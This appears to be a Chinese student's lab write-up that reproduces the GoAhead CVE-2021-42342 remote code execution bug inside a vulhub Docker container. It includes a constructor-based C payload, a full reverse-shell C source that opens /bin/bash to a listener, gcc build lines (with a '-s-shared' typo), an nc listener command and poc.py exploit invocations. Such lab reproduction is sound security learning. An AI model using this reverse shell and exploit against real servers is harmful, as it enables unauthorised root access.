目录
一、前言
解决问题用到的命令:docker logs 容器id#查看日志,可以看报错的原因。
最终运行容器的命令:docker run -d -p 8083:80 -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw e2:latest /start.sh
这是一次线上实习的作业,老师要求将漏洞环境搭建在容器内,并将容器导出为tar包,这比简单的复现漏洞要复杂一些些,给我这个小白带来了许多麻烦,网上也没有与我情况相同的博客,因此我将这次复现过程记录下来。
二、环境搭建
1、环境:Ubuntu18.04,Python3.6.9(Python必须在3.6及以上,否则不能用poc.py)
2、下载vulhub-master并解压,下载方式百度即可。
3、进入漏洞所在文件夹
4、将我做好的tar包导入为镜像,tar包里有我做的start.sh,一会要用它启动容器。
docker import e2.tar e2:latest
注:这一步可以直接使用docker-compose导入镜像,
在vulhub-master/goahead/CVE-2021-42342文件夹下执行docker-compose up -d即可
5、用如下命令启动容器:
docker run -d -p 8083:80 -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw e2:latest /start.sh
【注】:如果使用docker-compse,不需考虑-p参数和-v参数,yml文件都写好了,导入镜像直接用就OK
其中,-p为指定端口映射,-v后面的参数为容器挂载目录(vulhub-master.zip解压后产生的目录),即挂载的主机目录:容器目录:rw(rw意为读写),e2:latest为镜像名:标签,最后是以start.sh脚本启动。-v后面的参数很重要,是后面验证漏洞复现成功的关键。
6、访问IP:8083,出现如下页面代表访问成功。
7、编写打印测试文件的poc代码如下(poc.c):
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World\r\n\r\n", 16);
write(1, "Hacked\n", 7);
}
8、这样,before_main函数将在程序执行前被调用。编译以上代码:
gcc -s-shared -fPIC ./poc.c -o payload.so
9、然后,我们使用poc.py脚本来发送恶意数据包,复现漏洞:
python3 poc.py http://172.17.0.1:8083/cgi-bin/index payload.so(index和payload.so之间有空格,否则会Traceback Error,而且一定要用python3执行,且python版本应大于3.6,否则脚本文件代码运行会报错)
可见,我们编写的劫持代码已经被成功执行:
10、反弹shell的poc代码如下(shell.c):
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="172.17.0.1";/*The server which accepts shell*/
uint32_t server_port=7777;/*The port which you listen to*/
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
11、使用如下命令编译以上代码:
gcc -s-shared -fPIC ./shell.c -o shell.so
12、在对应的ip端口上开启监听(开启另一个终端):
nc -lvnp 7777
13、执行payload,此时脚本可能会报错,但没有影响。
python3 poc.py http://target-ip:8083/cgi-bin/index shell.so
(注意index和shell之间有空格!)
14、当终端显示Connection from x.x.x.x xxxx received,我们输入whoami命令显示自身用户名称,可以看到我们是root用户,成功触发RCE。
三、用start.sh启动的tar包如何搭建?
其实非常简单,但是网上没有博客写过,本小白花了挺长时间才搞明白。
直接docker run -v /home/liznal/vulhub-master/goahead/CVE-2021-42342/index:/var/www/goahead/cgi-bin/index:rw -d -p 8082:80 vulhub/goahead:5.1.4,就得到了一个没有start.sh的容器,在根目录下vim start.sh,写入如下内容:
#!/bin/bash
goahead -v --home /etc/goahead /var/html/goahead
然后把容器导出为tar包就大功告成。
附上本人tar包链接:https://pan.baidu.com/s/17s72XYOSicZlu7ra1Tot1g 提取码: gl4u
四、参考链接
(1)https://github.com/vulhub/vulhub/blob/master/goahead/CVE-2021-42342(poc.py、shell.c、payload.c都在这里,vulhub-master.zip已经包含了它)
(2)http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_5298.html
(3)https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
(4)https://github.com/vulhub/vulhub/tree/master/goahead/CVE-2017-17562
(5)https://ahmed-belkahla.me/post/2-methods-rce-0-day-in-goahead-webserver-pbctf-2021/